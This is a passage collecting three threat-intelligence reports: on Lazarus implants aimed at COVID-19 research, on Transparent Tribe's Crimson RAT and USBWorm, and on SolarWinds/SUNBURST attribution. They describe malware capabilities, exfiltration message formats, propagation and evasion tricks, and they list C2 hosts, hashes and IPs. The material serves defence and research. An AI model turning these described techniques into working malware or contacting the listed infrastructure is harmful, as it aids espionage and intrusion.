it, and set [id]_208 to +FALSE. +6/10 +table_bProduct +productview +Update the ~F05990302ERA.jpg file with the URL passed as the +target_url +parameter. +table_community +communityview +Save the identifier of the implant to the log file. Read the second-stage URL +from ~F05990302ERA.jpg and send the current server URL and identifier to +the next hop server using the following format: +bbs_type=qnaboard&table_id=[base64ed identifier] &accept_identity=[base64 +encoded current server IP]&redirect_info=[base64ed current server URL] +table_free +freeview +Read _ICEBIRD007.dat and send its contents, and delete it. +Attribution +We assess with high confidence that the activity analyzed in this post is attributable to the Lazarus group. In our +previous research, we already attributed the malware clusters used in both incidents described here to the Lazarus +group. First of all, we observe that the wAgent malware used against the health ministry has the same infection +scheme as the malware that the Lazarus group used previously in attacks on cryptocurrency businesses. +Both cases used a similar malware naming scheme, generating two characters randomly and appending +to it to generate the path where the payload is dropped. +Both malicious programs use a Security Support Provider as a persistence mechanism. +Both malicious programs have almost identical debugging messages. +Here is a side-by-side comparison of the malware used in the ministry of health incident, and the malware +(4088946632e75498d9c478da782aa880) used in the cryptocurrency business attack: +Debugging log from ministry of health case +Debugging log of cryptocurrency business case +15:18:20 Extracted Dll : [random 2bytes]svc.drv +15:59:32 Reg Config Success ! +Extracted Dll : [random 2bytes]svc.dll +Extracted Injecter : [random 2bytes]proc.exe +16:08:45 Register Svc Success ! +Reg Config Success ! +16:24:53 Injection Success, Process ID : 544 +Register Svc Success ! +Start Injecter Success ! +Regarding the pharmaceutical company incident, we previously concluded that Bookcode is exclusively used by the +Lazarus group. According to our Kaspersky Threat Attribution Engine (KTAE), one of the Bookcode malware samples +(MD5 0e44fcafab066abe99fe64ec6c46c84e) contains lots of code overlaps with old Manuscrypt variants. +7/10 +Kaspersky Threat Attribution Engine results for Bookcode +Moreover, the same strategy was used in the post-exploitation phase, for example, the usage of ADFind in the attack +against the health ministry to collect further information on the victim +s environment. The same tool was deployed +during the pharmaceutical company case in order to extract the list of employees and computers from the Active +Directory. Although ADfind is a common tool for the post-exploitation process, it is an additional data point that +indicates that the attackers use shared tools and methodologies. +Conclusions +These two incidents reveal the Lazarus group +s interest in intelligence related to COVID-19. While the group is mostly +known for its financial activities, it is a good reminder that it can go after strategic research as well. We believe that all +entities currently involved in activities such as vaccine research or crisis handling should be on high alert for +cyberattacks. +Indicators of compromise +wAgent +dc3c2663bd9a991e0fbec791c20cbf92 +26545f5abb70fc32ac62fdab6d0ea5b2 +9c6ba9678ff986bcf858de18a3114ef3 +%programdata%\oracle\javac.dat +%programdata%\oracle\javac.dat +%programdata%\grouppolicy\Policy.DAT +wAgent Installer +4814b06d056950749d07be2c799e8dc2 +%programdata%\oracle\javac.io, %appdata%\ntuser.dat +wAgent compromised C2 servers +http://client.livesistemas[.]com/Live/posto/system.jsp@public.jsp@jenkins.jsp@tomas.jsp@story.jsp +hxxps://iski.silogica[.]net/events/serial.jsp@WFRForms.jsp@import.jsp@view.jsp@cookie.jsp +hxxp://sistema.celllab[.]com.br/webrun/Navbar/auth.jsp@cache.jsp@legacy.jsp@chooseIcon.jsp@customZoom.jsp +hxxp://www.bytecortex.com[.]br/eletronicos/digital.jsp@exit.jsp@helpform.jsp@masks.jsp@Functions.jsp +hxxps://sac.najatelecom.com[.]br/sac/Dados/ntlm.jsp@loading.jsp@access.jsp@local.jsp@default.jsp +wAgent file path +%SystemRoot%\system32\[random 2 characters]svc.drv +wAgent registry path +HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Application\Emulate - [random 2 +characters]svc +Bookcode injector +5983db89609d0d94c3bcc88c6342b354 +%SystemRoot%\system32\scaccessservice.exe, rasprocservice.exe +Bookcode file path +8/10 +%SystemRoot%\system32\C_28705.NLS +%SystemRoot%\system32\gmslogmgr.dat +Bookcode compromised C2 servers +hxxps://www.kne.co[.]kr/upload/Customer/BBS.asp +hxxp://www.k-kiosk[.]com/bbs/notice_write.asp +hxxps://www.gongim[.]com/board/ajax_Write.asp +hxxp://www.cometnet[.]biz/framework/common/common.asp +hxxps://www.locknlockmall[.]com/common/popup_left.asp +MITRE ATT&CK Mapping. +Tactic +Technique. +Technique Name. +Execution +T1059.003 +T1569.002 +Command and Scripting Interpreter: Windows Command Shell +System Services: Service Execution +Persistence +T1547.005 +T1543.003 +Boot or Logon Autostart Execution: Security Support Provider +Create or Modify System Process: Windows Service +Privilege Escalation +T1547.005 +T1543.003 +Boot or Logon Autostart Execution: Security Support Provider +Create or Modify System Process: Windows Service +T1055.001 +Process Injection: Dynamic-link Library Injection +T1070.006 +T1055.001 +Indicator Removal on Host: Timestomp +Process Injection: Dynamic-link Library Injection +T1140 +Deobfuscate/Decode Files or Information +T1027.001 +Obfuscated Files or Information: Binary Padding +Credential Access +T1003.002 +OS Credential Dumping: Security Account Manager +Discovery +T1082 +T1033 +System Information Discovery +System Owner/User Discovery +T1049 +System Network Connections Discovery +Lateral Movement +T1021.002 +SMB/Windows Admin Shares +Command and Control +T1071.001 +T1132.001 +Application Layer Protocol: Web Protocols +Data Encoding: Standard Encoding +Exfiltration +T1041 +Exfiltration Over C2 Channel +Defense Evasion +Backdoor +9/10 +Lazarus +Malware Descriptions +Malware Technologies +Medical threats +Targeted attacks +Lazarus covets COVID-19-related intelligence +Your email address will not be published. Required fields are marked * +10/10 +Transparent Tribe: Evolution analysis, part 1 +securelist.com/transparent-tribe-part-1/98127 +Giampaolo Dedola +Background and key findings +Transparent Tribe, also known as PROJECTM and MYTHIC LEOPARD, is a highly prolific +group whose activities can be traced as far back as 2013. Proofpoint published a very good +article about them in 2016, and since that day, we have kept an eye on the group. We have +periodically reported their activities through our APT threat intelligence reports, and +subscribers of that service already know that in the last four years, this APT group has +never taken time off. They continue to hit their targets, which typically are Indian military +and government personnel. +The TTPs have remained consistent over the years, and the group has constantly used +certain tools and created new programs for specific campaigns. Their favorite infection +vector is malicious documents with an embedded macro, which seem to be generated with +a custom builder. +Their main malware is a custom .NET RAT publicly known as Crimson RAT, but over the +years, we also have observed the use of other custom .NET malware and a Python-based +RAT known as Peppy. +Over the past year, we have seen this group undergo an evolution, stepping up its activities, +starting massive infection campaigns, developing new tools and strengthening their focus +on Afghanistan. +The summary of our recent investigations will be described in two blogposts. This first +publication will cover the following key points: +1/17 +We discovered the Crimson Server component, the C2 used by Transparent Tribe for +managing infected machines and conducting espionage. This tool confirmed most of +our observations on Crimson RAT and helped us to understand the attackers +perspective. +Transparent Tribe continues to spread Crimson RAT, infecting a large number of +victims in multiple countries, mainly India and Afghanistan. +The USBWorm component is real, and it has been detected on hundreds of systems. +This is malware whose existence was already speculated about years ago, but as far as +we know, it has never been publicly described. +I will be talking more about the TransparentTribe and its tools on GReAT Ideas. Powered +by SAS webinar on August 26, you can register for it here: https://kas.pr/1gk9 +Crimson Server +Crimson is the main tool used by Transparent Tribe for their espionage activities. The tool +is composed of various components, which are used by the attacker for performing +multiple activities on infected machines: +manage remote filesystems +upload or download files +capture screenshots +perform audio surveillance using microphones +record video streams from webcam devices +capture screenshots +steal files from removable media +execute arbitrary commands +record keystrokes +steal passwords saved in browsers +spread across systems by infecting removable media +In the course of our analysis, we spotted a .NET file, identified by our products as Crimson +RAT, but a closer look revealed that it was something different: a server-side implant used +by the attackers to manage the client components. +We found two different server versions, the one being a version that we named +compiled in 2017, 2018 and 2019, and including a feature for installing the USBWorm +component and executing commands on remote machines. The version that we named +was compiled in 2018 and again at the end of 2019. The existence of two versions confirms +that this software is still under development and the APT group is working to enhance it. +By analysing the .NET binary, we were able to set up a working environment and +communicate with samples previously detected on victims + machines. +2/17 +Crimson Server version +Main panel +The first window is the main panel, which provides a list of infected machines and shows +basic information about the victims + systems. +Server main panel +Geolocation information is retrieved from a legitimate website using a remote IP address as +the input. The URL used by the server is: +http://ip-api.com/xml/ +At the top, there is a toolbar that can be used for managing the server or starting some +actions on the selected bot. At the bottom, there is an output console with a list of actions +performed by the server in the background. It will display, for example, information about +received and sent commands. +The server uses an embedded configuration specified inside a class named +settings +Example of embedded +configuration +The class contains TCP port values, +default file names and installation paths +used by each malware component. The +server does not include any features to +build the other components; they need +to be manually placed in specific +predefined folders. For example, based +on the configuration displayed in the +picture above, the +msclient + must be +placed in +.\tmps\rfaiwaus.exe +3/17 +This leads us to conclude that the resulting server file was generated by another builder, +which created the executable files, directories and the other files used by the application. +Bot panel +The main features are accessible from the +bot panel +, an interface with twelve tabs, which +can be used to manage a remote system and collect information. +Update module +The first tab is used for checking the client configuration, uploading Crimson components +and executing these on remote system. +Update modules tab +The Crimson framework is composed of seven client components: +Thin Client -> a tiny version of the RAT used for recognizing the victim. The +thin + client +is the most common one; it is usually dropped during the infection process by which +Transparent Tribe is distributed and is most commonly found on OSINT resources. It +contains a limited number of features and can typically be used to: +collect information about infected system +collect screenshots +manage the remote filesystem +download and upload files +get a process list +kill a process +execute a file +4/17 +Main Client -> the full-featured RAT. It can handle all +Thin Client + features, but it can +also be used to: +install the other malware components +capture webcam images +eavesdrop using a computer microphone +send messages to the victim +execute commands with COMSPEC and receive the output. +USB Driver -> a USB module component designed for stealing files from removable +drives attached to infected systems. +USB Worm -> this is the USBWorm component developed for stealing files from +removable drives, spread across systems by infecting removable media, and download and +execute the +Thin Client + component from a remote Crimson server. +Pass Logger -> a credential stealer, used for stealing credentials stored in the Chrome, +Firefox and Opera browsers. +KeyLogger -> this is simple malware used for recording keystrokes. +Remover -> this cannot be pushed using the +Update module tab +, but it can be uploaded +to an infected machine automatically using the +Delete User + button. Unfortunately, we did +not acquire that component and we cannot provide a description of it. +Interestingly, Transparent Tribe tries to circumvent certain vendors + security tools by +configuring the Server to prevent installation of some of the malware components, +specifically the +USB Driver + and the +Pass Logger +, on systems protected with Kaspersky +products. They also prevent installation of the +Pass Logger + on systems protected by +ESET. +Snippet of code that prevents installation of certain components on systems +protected by Kaspersky products +File Manager & Auto Download tabs +5/17 +The file manager allows the attacker to explore the remote file system, execute programs, +download, upload and delete files. +File manager tab +Most of the buttons are self-explanatory. The most interesting ones are +USB Drive + and +Delete USB +, used for accessing data stolen by the USB Driver and USB Worm +components and the +Auto File Download + feature. This feature opens another window, +which can also be accessed via the second last tab. It allows the attacker to configure the +bot to search files, filter results and upload multiple files. +Auto download tab +6/17 +Screen and Webcam monitoring tabs +These tabs are used for managing two simple and powerful features. The first one is +designed for monitoring the remote screen and checking what the user is doing on their +system. The second one can be used for spying on a remote webcam and performing video +surveillance. The attacker can retrieve a single screenshot or start a loop that forces the bot +to continuously send screenshots to the server, generating a live stream of sorts. The +attacker can also configure the RAT component to record the images on the remote system. +Other tabs +The other tabs are used for managing the following features: +Audio surveillance: The malware uses the NAudio library to interact with the +microphone and manage the audio stream. The library is stored server-side and +pushed to the victim +s machine using a special command. +Send message: The attacker can send messages to victims. The bot will display the +messages using a standard message box. +Keylogger: Collects keyboard data. The log includes the process name used by the +victim, and keystrokes. The attacker can save the data or clear the remote cache. +Password Logger: The malware includes a feature to steal browser credentials. The +theft is performed by a specific component that enumerates credentials saved in +various browsers. For each entry, it saves the website URL, the username and the +password. +Process manager: The attacker can obtain a list of running processes and terminate +these by using a specific button. +Command execution: This tab allows the attacker to execute arbitrary commands on +the remote machine. +Crimson Server version +The other version is quite similar to the previous one. Most noticeably, in this + version, +the graphical user interface is different. +Main toolbar version B +Update USB Worm + is missing from the Update Bot tab, which means that the USB Worm +feature is not available in these versions. +7/17 +Update modules tab, version B +This version does not include the check that prevents installation of certain components on +systems protected with Kaspersky products, and the Command execution tab is missing. At +the same position, we find a different tab, used for saving comments about the infected +machine. +Notes +USBWorm +Last January, we started investigating an ongoing campaign launched by Transparent +Tribe to distribute the Crimson malware. The attacks started with malicious Microsoft +Office documents, which were sent to victims using spear-phishing emails. +8/17 +Decoy document used in an attack against Indian entities +The documents typically have malicious VBA code embedded, and sometimes protected +with a password, configured to drop an encoded ZIP file which contains a malicious +payload. +9/17 +User form with encoded payloads +The macro drops the ZIP file into a new directory created under %ALLUSERPROFILE% +and extracts the archive contents at the same location. The directory name can be different, +depending on the sample: +%ALLUSERSPROFILE%\Media-List\tbvrarthsa.zip +%ALLUSERSPROFILE%\Media-List\tbvrarthsa.exe +10/17 +Snippet of VBA code +The executable file is the Crimson +Thin Client +, which allows the attacker to gain basic +information about the infected machine, collect screenshots, manipulate the file system +and download or upload arbitrary files. +During our analysis, we noticed an interesting sample connected to a Crimson C2 server. +This sample was related to multiple detections, all of these having different file names and +most of them generated from removable devices. +One of the file path name combinations observed was +C:\ProgramData\Dacr\macrse.exe +also configured in a Crimson +Main Client + sample and used for saving the payload +received from the C2 when invoking the usbwrm command. +11/17 +USBWorm file construction function +We concluded that this sample was the USBWorm component mentioned by Proofpoint in +its analysis of the malware. +Based on previous research, we knew that this RAT was able to deploy a module to infect +USB devices, but as far as we know, it had never been publicly described. +USB Worm description +Our analysis has revealed that USBWorm is much more than a USB infector. In fact, it can +be used by the attacker to: +download and execute the Crimson +Thin Client +infect removable devices with a copy of USBWorm itself +steal files of interest from removable devices (i.e. USB Stealer) +By default, the program behaves as a downloader, infector and USB stealer. Usually, the +component is installed by the Crimson +Main Client +, and when started, it checks if its +execution path is the one specified in the embedded configuration and if the system is +already infected with a Crimson client component. If these conditions are met, it will start +to monitor removable media, and for each of these, the malware will try to infect the device +and steal files of interest. +The infection procedure lists all directories. Then, for each directory, it creates a copy of +itself in the drive root directory using the same directory name and changing the directory +attribute to +hidden +. This results in all the actual directories being hidden and replaced +12/17 +with a copy of the malware using the same directory name. +Moreover, USBWorm uses an icon that mimics a Windows directory, tricking the user into +executing the malware when trying to access a directory. +USBWorm icon +This simple trick works very well on default Microsoft Windows +installations, where file extensions are hidden and hidden files are not +visible. The victim will execute the worm every time he tries to access a +directory. Moreover, the malware does not delete the real directories and +executes +explorer.exe + when started, providing the hidden directory path +as argument. The command will open the Explorer window as expected by the user. +The data theft procedure lists all files stored on the device and copies those with an +extension matching a predefined list: +File extensions of interest: .pdf, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pps, .ppsx, .txt +If the file is of interest, i.e. if the file extension is on the predefined list, the procedure +checks if a file with the same name already has been stolen. The malware has a text file +with a list of stolen files, which is stored in the malware directory under a name specified in +the embedded configuration. +Of course, this approach is a little buggy, because if the worm finds two different files with +the same name, it will steal only the first one. Anyway, if the file is of interest and is not on +the list of stolen files, it will be copied from the USB to a local directory usually named +data + or +udata +, although the name could be different. +If the worm is executed from removable media, the behavior is different. In this case, it will +check if the +Thin Client + or the +Main Client + is running on the system. If the system is not +infected, it will connect to a remote Crimson Server and try to use a specific +USBW +command to download and execute the +Thin Client + component. +13/17 +Snippet of code used to build USBW request +The persistence is guaranteed by a method that is called when the program is closing. It +checks if the malware directory exists as specified in an embedded configuration and then +copies the malware executable inside it. It also creates a registry key under +HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run + to execute the worm +automatically. +USB Worm distribution +During our investigation, we found around two hundred distinct samples related to +Transparent Tribe Crimson components. We used the Kaspersky Security Network (KSN) +to collect some statistics about the victims. +Considering all components detected between June 2019 and June 2020, we found more +than one thousand distinct victims distributed across twenty-seven countries. +14/17 +Crimson distribution map +Most of the detections were related to the USB Worm components; and in most of the +countries, the number of events was very low. +Crimson detections + USBWorm vs other components +If we check victims compromised with the other client components, we can find the real +targets. +Top five infected countries from June 2019 to June 2020 + USBWorm +excluded +15/17 +The graph includes the highest number of distinct victims, and it shows that Transparent +Tribe maintained a strong focus on Afghanistan during the final part of 2019 and then +started to focus again on Indian users during 2020. +We may speculate that detections in other countries may be related to entities related to +main targets, such as personnel of embassies. +Conclusions +Transparent Tribe continues to show high activity against multiple targets. In the last +twelve months, we observed a broad campaign against military and diplomatic targets, +using extensive infrastructure to support their operations and continuous improvements in +their arsenal. The group continue to invest in their main RAT, Crimson, to perform +intelligence activities and spy on sensitive targets. We do not expect any slowdown from +this group in the near future and we will continue to monitor their activities. +The followings IOC list is not complete. If you want more information about the APT +discussed here, as well as a full IOC list, and YARA rules are available to customers of +Kaspersky Threat Intelligence Reports. Contact: intelreports@kaspersky.com +5158C5C17862225A86C8A4F36F054AE2 + Excel document + NHQ_Notice_File.xls +D2C407C07CB5DC103CD112804455C0DE + Zip archive + tbvrarthsa.zip +76CA942050A9AA7E676A8D553AEB1F37 + Zip archive + ulhtagnias.zip +08745568FE3BC42564A9FABD2A9D189F + Crimson Server Version +03DCD4A7B5FC1BAEE75F9421DC8D876F + Crimson Server Version +075A74BA1D3A5A693EE5E3DD931E1B56 + Crimson Keylogger +1CD5C260ED50F402646F88C1414ADB16 + Crimson Keylogger +CAC1FFC1A967CD428859BB8BE2E73C22 + Crimson Thin Client +E7B32B1145EC9E2D55FDB1113F7EEE87 + Crimson Thin Client +F5375CBC0E6E8BF10E1B8012E943FED5 + Crimson Main Client +4B733E7A78EBD2F7E5306F39704A86FD + Crimson Main Client +140D0169E302F5B5FB4BB3633D09B48F + Crimson USB Driver +9DD4A62FE9513E925EF6B6D795B85806 + Crimson USB Driver +1ED98F70F618097B06E6714269E2A76F + Crimson USB Worm +F219B1CDE498F0A02315F69587960A18 + Crimson USB Worm +64.188.25.206 + Crimson C2 +173.212.192.229 + Crimson C2 +45.77.246.69 + Crimson C2 +16/17 +newsbizupdates.net + Crimson C2 +173.249.22.30 + Crimson C2 +uronlinestores.net + Crimson C2 +17/17 +POINT OF VIEW +POINT +By John Wetzel +OF VIEW +POV-2020-1230 +SOLARWINDS ATTRIBUTION: +Are We Getting +Ahead of Ourselves? +An Analysis of UNC2452 Attribution +Note: A previously version of this report incorrectly attributed disclosure of Jake Williams + work for the National Security Agency +s Tailored Access +Operations group to Sandworm. This disclosure was conducted by ShadowBrokers. +Overview +The recent expansive intrusion campaign of over half a dozen government agencies and as-yet unknown +other organizations through malicious backdoors in the SolarWinds Orion platform is already one of the +most significant acts of cyber espionage in history. This intrusion, dubbed SUNBURST/Solorigate, appears +intended for information theft and espionage rather than destruction, placing this campaign within the realm of +counterintelligence, not just incident response. Analyzing this incident within the realm of counterintelligence +may fill the gap of descriptive language for this incident rather than bipolar descriptions of +sophisticated +in-depth analysis which may add to confusion for network defenders. Additionally, only a handful of companies +have direct access and the investigative resources to gain meaningful insights into the technical components +of the backdoor. The actor is a different story. +Like most complex, public intrusions, attribution has been messy. FireEye has named the actor behind +this intrusion +UNC2452, + and Volexity dubbed the threat actor +Dark Halo, + stating that the actor is the same +as UNC2452, though FireEye has not substantiated that claim. Adding further complexity, Washington Post +correspondent Ellen Nakashima cited unnamed government sources claiming Russian actors, in particular +APT29, are responsible for the attack. Members of the U.S. Congress have also publicly accused Russia, +and in particular the Russian Foreign Intelligence Service (SVR), as the responsible party, and added calls +for response. Microsoft President Brad Smith has also called for strong action. While we expect these +organizations have far more insight into the nature of the breach, as well as classified sources of intelligence +information, calls for strong response should include publicly disclosed information to support accusations. +Public evidence for these claims is currently scant. Some, including Jake Williams, who runs Rendition +Security and teaches for the SANS Institute, has said that technical evidence is forthcoming, but cannot be +disclosed without tipping off the adversaries to missteps and giving them a means to cover their tracks. +Still, the lack of public evidence gives rise to claims that other actors, even perhaps other countries, may be +responsible, a claim made by President Donald Trump as well. +Intelligence analysis, properly conducted, combats bias. Bias can lead to missteps in policy. Engaging in +policy discussions about proportional responses (or, at times, very disproportionate response) without strong +evidence is potentially dangerous. As rumors of attribution to Russia circulate, attribution prior to evidence is +premature and myopic, biasing the analyst to only certain behaviors and actors. Further, intelligence analysis +provides both strategic and tactical guidance for responses. At the strategic level, we can be assured that +responses are coordinated and proportional. At the tactical level, defenders can apply intelligence to seed +proactive activities, such as hunting for behaviors after indicators run dry. +POV-2020-1230 +Recorded Future + | www.recordedfuture.com +POINT OF VIEW +Among information security researchers, some discussion has occurred regarding the possibility alternate +actors, such as APT41, may ultimately be found responsible. APT41, also known as Winnti and Barium, has +been linked to the People +s Republic of China, and previously conducted attacks which beg comparison with +the SUNBURST/Solorigate attack. (Note: Recorded Future has synonymized several named groups, including +APT41, Axiom Hacking Group, Barium, Blackfly, Dogfish, Ragebeast, Wicked Panda, Winnti Group, as Winnti +Umbrella Group.) In March 2017, APT41 executed a supply chain attack by breaching the company which made +CCleaner, a system cleaner software. Researchers from Cisco Talos and Morphisec uncovered the campaign, +which ultimately spread to 2.27 million computers. While these comparisons fall well short of the requirements +for attribution, APT41 does merit consideration as a candidate actor group responsible for the SUNBURST/ +Solorigate breach. Enter threat intelligence. +Noteworthy Techniques +We approached our analysis using existing techniques in order to focus on attribution and adversary +mapping. We pursued methodologies including mapping MITRE ATT&CK techniques, victimology, temporal +indications, and historic use of indicators to give insight into attacker motivation and intent. We analyzed both +public information as well as information from Recorded Future +s historic index to determine a set of unique +characteristics about this campaign. Our goal was not to conclusively attribute this attack, but rather to review +existing data through the lens of intelligence analysis and contribute to conversation on adversary tracking. +ATT&CK Technique Analysis +We conducted a comparison of ATT&CK techniques across the mentioned actors, including APT29 and +APT41. We compiled 25 techniques and 14 sub-techniques for UNC2452 using MITRE ATT&CK Matrix for +Enterprises and techniques mentioned in public reports from FireEye and Microsoft. We then used the MITRE +guidance for comparison of groups, and compared UNC2452 ATT&CK techniques against those the MITRE +team documented for APT29 and APT41 using ATT&CK Navigator (Appendix). Unfortunately, our analysis +surfaced several challenges. +First, there are significant differences in documented ATT&CK techniques between vendors analyzing +the same actor group and/or malware. For example, FireEye lists seven techniques and 10 sub-techniques +in their report dated December 13, 2020; Microsoft shows four techniques and six sub-techniques for their +report dated December 18, 2020. +Second, several techniques for APT29 and APT41 were missing from the ATT&CK groups cataloged by +MITRE, appearing to lean towards more recent attacks, such as PowerDuke campaigns. We used MITRE +maintained list of APT TTPs for initial comparison, however these appear to have notable gaps even malware +techniques and techniques for actor groups attributed to leverage the malware. +Third, there were specific instances where ATT&CK lacked the nuanced matching techniques described +by security reporting. For example, within ATT&CK Navigator, several techniques are automatically assigned to +tactics, such as T1078 Valid Accounts, which is assigned to Initial Access, Persistence, and Defense Evasion +tactics. While Microsoft does cite this technique, they limit its applicability to the Persistence tactic. +Additionally, some techniques gain meaning through both repeated applications and choices of what +to encode. A salted FNV-1a hashing algorithm is used in both encoding blacklisted domains and blacklisted +processes, corresponding to T1132 Data Encoding. However, the domains hashed with FNV-1a are also used +to standardize various components of information in checks prior to downloading the second-stage payload, +creating efficiencies for communication as well as obfuscation. +While ATT&CK is a strong framework for mapping adversary TTPs, it is missing elements critical to +describe ongoing adversary activity and map that activity to past activity. Vendor publication of ATT&CK +techniques without in-line context further reduces applicability to adversary mapping. Historic activity +tracking can provide insights into both the existing, and potentially ongoing, SUNBURST/Solorigate campaign +and clues to actor motivation and attribution. +POV-2020-1230 +Recorded Future + | www.recordedfuture.com +POINT OF VIEW +Victim Scope +Victimology, in particular, is notable for UNC2452, as it demonstrates an exacting approach to preserving +continuity of operations while prioritizing victims. As reported in a statement from Microsoft President Brad +Smith, of approximately 18,000 organizations who received the SolarWinds update containing the backdoor, +only 0.2 percent received the second stage, and 40 of those companies, 80 percent of the chosen companies, +were located in the United States. According to FireEye, adversary use of domain generation algorithms (DGA) +custom to each victim allowed for various organizations to identify organizations beaconing to the backdoor +Command-and-Control (C2) server through passive DNS records and cracking the encoded subdomains. +Figure 1: Microsoft graph of victims by industry sector. (Source: Microsoft) +The plurality of victims, according to Microsoft, are information technology companies. While much of +the media coverage remains on government and government contractor victims, recent reports of victims +from telecommunications providers to healthcare organizations, demonstrate targeting beyond traditional +espionage targets. +Some victimology can be determined through the reversing the DGA used by the Solorigate backdoor. +Several organizations, such as the RedDrip Team, Netresec, and Kaspersky published methods for decoding +the DGA used by the backdoor for initial C2 communications. Recorded Future collected and combined +information gathered from open sources such as Pastebin, passive DNS datasets (pDNS), and others related +to encoded subdomains of the SolarWinds Orion backdoor first stage command and control (C2) domain +avsvmcloud[.]com, and utilized three DGA decoding scripts. As of December 21, 2020, we have identified +some 286 domains. +This output is the result of a small subset of open source data and is +not representative of the totality of affected organizations, and is based +exclusively on Recorded Future +s visibility at this time via open source datasets. +SolarWinds itself has said that roughly 18,000 organizations installed versions +of SolarWinds Orion software impacted by SUNBURST, so the list of identified +domains by Recorded Future is therefore non-comprehensive. Additionally, an +organization +s presence on this list does not necessarily mean that it is the +victim of second stage infection or data exfiltration. Specific conditions had +to be met for the malware to deploy a second stage. We do not currently have +visibility into further exploitation. Not all of the records are complete domains; +we have included partial or incomplete domains where we deemed that there +was sufficient enough information to make educated guesses or inferences as +to which organization the domain or string may reference. +POV-2020-1230 +Recorded Future + | www.recordedfuture.com +POINT OF VIEW +Microsoft noted in its report that the malware checks domains for certain strings prior to execution, +but was not able to determine the domains as they were implemented via hashes. Itay Cohen, a security +researcher at Checkpoint, identified the strings as FNV-1a hashes, and was able to brute-force reverse them. +Cohen noted that many of the strings appear to be SolarWinds internal domain names. In combination with the +checks conducted by the malware to look for regular expressions of +solarwinds + and +test +, Cohen posited +the attackers gained intimate knowledge of the SolarWinds source code, as well as the network topology and +internal development domain names, in order to +minimize the risk that a vigilant employee will notice the +anomaly. + Costin Raiu, along with another Kaspersky researcher, cracked the remaining hashes and published +the full list of internal domain names. Such care to avoid detection is highly uncommon, and points towards +an impressive degree of reconnaissance and focus. +Figure 2: FNV-1a hashes and the resulting domain names avoided by the SUNBURST malware. +Subsequently, SentinelOne found that SUNBURST also appears to check for certain running processes, +and exits if these processes are discovered: +SearchConfigurations() is used to identify blacklisted drivers. This is performed through +the WMI query + Select * From Win32_SystemDriver, which is obfuscated in the below +screenshot as C07NSU0uUdBScCvKz1UIz8wzNooPriwuSc11KcosSy0CAA==. The file +name is obtained for each driver, and if this driver is found in the blacklist, this method +will return true. As mentioned before, returning true causes the malware to break out of +the Update() loop prior to initiating the true backdoor code. +Among the blacklisted processes are a number of digital forensics and endpoint detection and response +tools. A full list of the drivers can be found on the SentinelOne blog. Similar to the Microsoft revelation of +blacklisted domains, this care to avoid endpoint detection again highlights the cautiousness of the actors. +Additionally, analysis is needed on the list of SUNBURST blacklisted processes. The full list was cracked +by several open source researchers. A public Google Sheet was compiled by Royce Willams and the Hashcat +team. The list of blacklisted processes is not comprehensive of all common endpoint or antivirus vendors; +further analysis is required to understand why the malware authors focused on certain endpoint software +to blacklist. +POV-2020-1230 +Recorded Future + | www.recordedfuture.com +POINT OF VIEW +Time +A unique feature of the Solorigate backdoor is the timestamp check that the last write time for the DLL +was 12-14 days prior. Even among unique malware samples, this duration is atypical. MITRE ATT&CK lists +a few attackers leveraging this technique, and none approaching this level of time, but this may be due +to incomplete documentation within ATT&CK, as mentioned above. In addition to evasion, the time-based +evasion appears to be more related to avoiding detection by SolarWinds staff rather than analysis through +virtualization/sandbox analysis. +In a broader examination, the campaign appears to have breached SolarWinds in the fall of 2019 and +made non-malicious changes to code. These changes amounted to a dry-run of the primary infection which +would occur around March 2020. Additionally, the actors inflated the size of the targeted DLL file from 500k +to 900k, which may have triggered detection rules for the file, but investigations would have turned up no +malicious code. When infected code was added in February/March 2020, the size increase was minimal. Time +to conduct these preparatory actions over the course of months shows a level of discipline and patience seen +primarily in intelligence collection operations. +Historic Indicators +Multiple indicators have been shared by FireEye and in other vendor reports. While a number of these +indicators are novel to this attack, Recorded Future does have historic references to some of these indicators. +Recorded Future sees historic collection on three domains from this report: + The domain freescanonline[.]com was first seen in a ReversingLabs scan +on November 28, 2017, associated with the following SHA256 hash: +21bab0d279d15a548a84a9d9eed34575b2dc9072cc36ebfe7b517850eea92756. + The domain also appeared in an additional ReversingLabs scan +on October 13, 2019 was associated with the SHA256 hash: +c5864330c247e2cd2a98d69b852e42f59a16d9613a6536c8b0b25e16c934533d. + The domain highdatabase[.]com appears publicly on a public Pastebin site with the title +NII GSOC +Advisory +, posted December 10, 2020. +Of 10 IP addresses noted in the FireEye report, only three were previously linked to malicious activity. + 13[.]59[.]205[.]66 first appeared on Pastebin in February 6, 2018, and then appeared as a +malicious host by a URLScan listing on April 23, 2019: https://urlscan.io/result/3df2efd6-530f4973-bca7-4635c083e276 + 139[.]99[.]115[.]204 was mentioned in two URLScan results dating back to June 2019. In +December 2019, this IP address was mentioned in a report by NAO_sec, associated with a +tool they named Bottle Exploit Kit, targeting Japan, and associated with the domain sales[.] +inteleksys[.]com + 167[.]114[.]213[.]199 previously listed on the Bambenek list as a DGA domain destination. +Additionally, Recorded Future +s Predictive IP Risk Rule triggered for this IP days prior to +announcements of the SolarWinds incident +In addition to the techniques mentioned by FireEye, in its report dubbing the backdoor +Solorigate, +Microsoft attributed the five additional techniques and one sub-technique to the campaign: +Execution + T1072 Software Deployment Tools +Command and Control + T1071.004 Application Layer Protocol: DNS + T1132 Data Encoding +POV-2020-1230 +Recorded Future + | www.recordedfuture.com +POINT OF VIEW +Defense Evasion + T1480.001 Execution Guardrails: Environmental Keying + T1562.001 Impair Defenses: Disable or Modify Tools +Collection + T1005 Data From Local System +DomainTools has published two blogs approaching the topic from the perspective of publicly available +DNS records. In addition to documenting the DNS records published by FireEye, they also published additional +domains used for the delivery of the second-stage payload. +Figure 3: Screenshot of DomainTools domains used in follow-on stages, enriched with Recorded +Future Express Plus Browser Extension (December 20, 2020). +Of these second-stage domains, several appear in our index with significant delays between domain +registration and certification registration references. +POV-2020-1230 +Recorded Future + | www.recordedfuture.com +POINT OF VIEW +Figure 4: Timeline of the domain registration and certificate registration delay. (Source: Recorded Future) +Figure 5: References showing the domain registration and certificate registration dates for globalnetworkissues[.]com domain. +(Source: Recorded Future) +We note the registration of globalnetworkissues[.]com on September 19, 2018, however we do not see a +TLS certificate registered for this domain until February 19, 2020, 17 months to the date later. +Figure 6: References showing the domain registration and certificate registration dates for incomeupdate[.]com domain. +(Source: Recorded Future) +We see the registration of incomeupdate[.]com on August 20, 2017, but do not see a TLS certificate +registered until April 14, 2020, almost 19 months later. +POV-2020-1230 